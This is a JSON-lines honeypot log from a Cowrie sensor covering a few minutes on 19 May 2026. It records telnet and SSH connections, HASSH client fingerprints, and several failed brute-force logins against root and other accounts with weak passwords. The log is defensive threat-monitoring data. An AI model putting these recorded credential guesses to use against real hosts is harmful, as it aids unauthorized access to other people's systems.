{"eventid":"cowrie.session.closed","duration":48.69044303894043,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:17.466364Z","src_ip":"192.119.13.58","session":"3fb67aaeb7a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.01413631439209,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:19.443948Z","src_ip":"192.119.13.58","session":"cd757c917993","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.23359251022339,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:22.210534Z","src_ip":"192.119.13.58","session":"602834d30a35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.99355125427246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:22.652905Z","src_ip":"192.119.13.58","session":"1792dc60e769","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36626,"dst_ip":"10.17.0.5","dst_port":23,"session":"00305435d80c","protocol":"telnet","message":"New connection: 192.119.13.58:36626 (10.17.0.5:23) [session: 00305435d80c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:25.727537Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.23.151.46","src_port":39594,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5d86c076d36","protocol":"ssh","message":"New connection: 64.23.151.46:39594 (159.203.135.109:22) [session: c5d86c076d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:31.410908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:31.416568Z","src_ip":"64.23.151.46","session":"c5d86c076d36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:31.480747Z","src_ip":"64.23.151.46","session":"c5d86c076d36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":" ","message":"login attempt [root/ ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:31.928674Z","src_ip":"64.23.151.46","session":"c5d86c076d36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:32.996792Z","src_ip":"64.23.151.46","session":"c5d86c076d36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.57122015953064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:35.094794Z","src_ip":"192.119.13.58","session":"e19e7a8fb717","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.18667268753052,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:37.433600Z","src_ip":"186.195.16.41","session":"d7e2798e4b0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.76914882659912,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:39.818953Z","src_ip":"192.119.13.58","session":"77c4a5ce320e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.06785821914673,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:39.890640Z","src_ip":"192.119.13.58","session":"df1bbd44b0c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.05006742477417,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:40.164233Z","src_ip":"192.119.13.58","session":"3fba83f4d557","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.251097440719604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:40.554402Z","src_ip":"192.119.13.58","session":"c0c23d522f54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54114,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ca4d7b07cdf","protocol":"telnet","message":"New connection: 192.119.13.58:54114 (10.17.0.5:23) [session: 4ca4d7b07cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:44.132234Z"}
{"eventid":"cowrie.session.closed","duration":39.683959007263184,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:44.263092Z","src_ip":"192.119.13.58","session":"88ff515ad6bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55704,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dd634d6b65a","protocol":"telnet","message":"New connection: 192.119.13.58:55704 (10.17.0.5:23) [session: 1dd634d6b65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:44.538222Z"}
{"eventid":"cowrie.session.closed","duration":55.97207307815552,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:45.693624Z","src_ip":"192.119.13.58","session":"f1307ab9d0f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40424,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b1589bba901","protocol":"telnet","message":"New connection: 192.119.13.58:40424 (10.17.0.5:23) [session: 3b1589bba901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:47.621359Z"}
{"eventid":"cowrie.session.closed","duration":39.89455318450928,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:48.762039Z","src_ip":"192.119.13.58","session":"40298c6fa0aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.071507215499878,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:51.692750Z","src_ip":"192.119.13.58","session":"3b1589bba901","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50440,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7bfb7d9bf95","protocol":"telnet","message":"New connection: 192.119.13.58:50440 (10.17.0.5:23) [session: a7bfb7d9bf95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:57.104962Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":47224,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3742e292f12","protocol":"ssh","message":"New connection: 80.94.92.184:47224 (10.17.0.5:22) [session: b3742e292f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:00.476704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:00.594073Z","src_ip":"80.94.92.184","session":"b3742e292f12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:00.598592Z","src_ip":"80.94.92.184","session":"b3742e292f12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456789","message":"login attempt [solv/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:02.101534Z","src_ip":"80.94.92.184","session":"b3742e292f12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:03.252479Z","src_ip":"80.94.92.184","session":"b3742e292f12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.57573223114014,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:03.303185Z","src_ip":"192.119.13.58","session":"00305435d80c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57836,"dst_ip":"10.17.0.5","dst_port":23,"session":"82c1ee650e5d","protocol":"telnet","message":"New connection: 192.119.13.58:57836 (10.17.0.5:23) [session: 82c1ee650e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:06.169431Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32946,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3f9f6276994","protocol":"telnet","message":"New connection: 192.119.13.58:32946 (10.17.0.5:23) [session: a3f9f6276994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:06.946651Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":39974,"dst_ip":"159.203.135.109","dst_port":22,"session":"5488d681caf8","protocol":"ssh","message":"New connection: 103.27.238.116:39974 (159.203.135.109:22) [session: 5488d681caf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:09.280364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:09.286680Z","src_ip":"103.27.238.116","session":"5488d681caf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:09.552243Z","src_ip":"103.27.238.116","session":"5488d681caf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tujhrf","message":"login attempt [root/tujhrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:10.335089Z","src_ip":"103.27.238.116","session":"5488d681caf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:11.599530Z","src_ip":"103.27.238.116","session":"5488d681caf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.61048126220703,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:19.742593Z","src_ip":"192.119.13.58","session":"4ca4d7b07cdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44774,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa84ef77e6cf","protocol":"telnet","message":"New connection: 192.119.13.58:44774 (10.17.0.5:23) [session: aa84ef77e6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:23.985450Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":40670,"dst_ip":"159.203.135.109","dst_port":22,"session":"607b37eef9fd","protocol":"ssh","message":"New connection: 103.82.132.16:40670 (159.203.135.109:22) [session: 607b37eef9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:27.238141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:27.242752Z","src_ip":"103.82.132.16","session":"607b37eef9fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:27.514033Z","src_ip":"103.82.132.16","session":"607b37eef9fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":39524,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfaf99250675","protocol":"ssh","message":"New connection: 193.228.128.84:39524 (159.203.135.109:22) [session: bfaf99250675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:27.664031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:27.670049Z","src_ip":"193.228.128.84","session":"bfaf99250675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:27.777917Z","src_ip":"193.228.128.84","session":"bfaf99250675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a111111","message":"login attempt [root/a111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:28.090776Z","src_ip":"193.228.128.84","session":"bfaf99250675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qw12","message":"login attempt [root/12qw12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:28.301760Z","src_ip":"103.82.132.16","session":"607b37eef9fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:29.195311Z","src_ip":"193.228.128.84","session":"bfaf99250675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38750,"dst_ip":"10.17.0.5","dst_port":23,"session":"083ca6fa43bc","protocol":"telnet","message":"New connection: 192.119.13.58:38750 (10.17.0.5:23) [session: 083ca6fa43bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:29.369195Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:29.562068Z","src_ip":"103.82.132.16","session":"607b37eef9fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.109458208084106,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:31.647563Z","src_ip":"192.119.13.58","session":"1dd634d6b65a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57652,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cad86b1b121","protocol":"telnet","message":"New connection: 192.119.13.58:57652 (10.17.0.5:23) [session: 0cad86b1b121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:33.848593Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41906,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddf7f3002e92","protocol":"telnet","message":"New connection: 192.119.13.58:41906 (10.17.0.5:23) [session: ddf7f3002e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:37.171205Z"}
{"eventid":"cowrie.session.closed","duration":41.09807300567627,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:38.202929Z","src_ip":"192.119.13.58","session":"a7bfb7d9bf95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44632,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb83fdc865bc","protocol":"telnet","message":"New connection: 192.119.13.58:44632 (10.17.0.5:23) [session: bb83fdc865bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:38.836024Z"}
{"eventid":"cowrie.session.closed","duration":3.221204996109009,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:40.392304Z","src_ip":"192.119.13.58","session":"ddf7f3002e92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.74922013282776,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:44.918484Z","src_ip":"192.119.13.58","session":"82c1ee650e5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.46898078918457,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:20:54.415518Z","src_ip":"192.119.13.58","session":"a3f9f6276994","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":42056,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e759ca63f33","protocol":"ssh","message":"New connection: 147.45.211.215:42056 (159.203.135.109:22) [session: 0e759ca63f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:02.912611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:02.919157Z","src_ip":"147.45.211.215","session":"0e759ca63f33","protocol":"ssh"}
